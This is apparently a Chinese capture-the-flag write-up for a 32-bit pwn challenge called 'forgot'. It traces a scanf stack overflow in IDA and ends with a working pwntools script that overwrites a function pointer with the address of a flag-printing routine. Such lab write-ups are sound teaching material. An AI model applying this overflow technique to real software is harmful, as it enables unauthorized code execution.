1.获取基本信息

32位/只有NX保护
2.IDA进行中
1.main函数

输入的地方,是溢出点__isoc99_scanf("%s", v2);
fgets(s, 32, stdin);fgets函数对输入的数据有限制,所以不会造成溢出
2.int sub_80486CC()

可以拿到flag的函数地址
main函数的内容还挺多的,1张没截完
第二张是一个for循环
额...........最后一行的代码不是很好看,查了查,可以看看它的汇编

应该是调用v3[--v5]的一个函数
[esp+78h]就是v5的位置
要是可以控制v5也就可以调用函数了
在for循环内v5的值一直在发生改变,所以不能让v5进入循环

让v5一直等于它的初值1 ,然后返回v3[0],将其覆盖为flag的地址
上面v2输入是溢出点

v2的长度为32,将v2填充满就会覆盖v3,所以偏移为32
但是这里的垃圾字符有讲究,不能随便用
不能让v5进for循环,还有一个限制条件
3.准备EXP
from pwn import*
p=process('./forgot')
payload='A'*0x20+p32(0x80486CC)
p.sendlineafter("What is your name?\n> ","11111")
p.sendlineafter("Enter the string to be validate\n> ",payload)
p.interactive()
705



被折叠的 条评论
为什么被折叠?



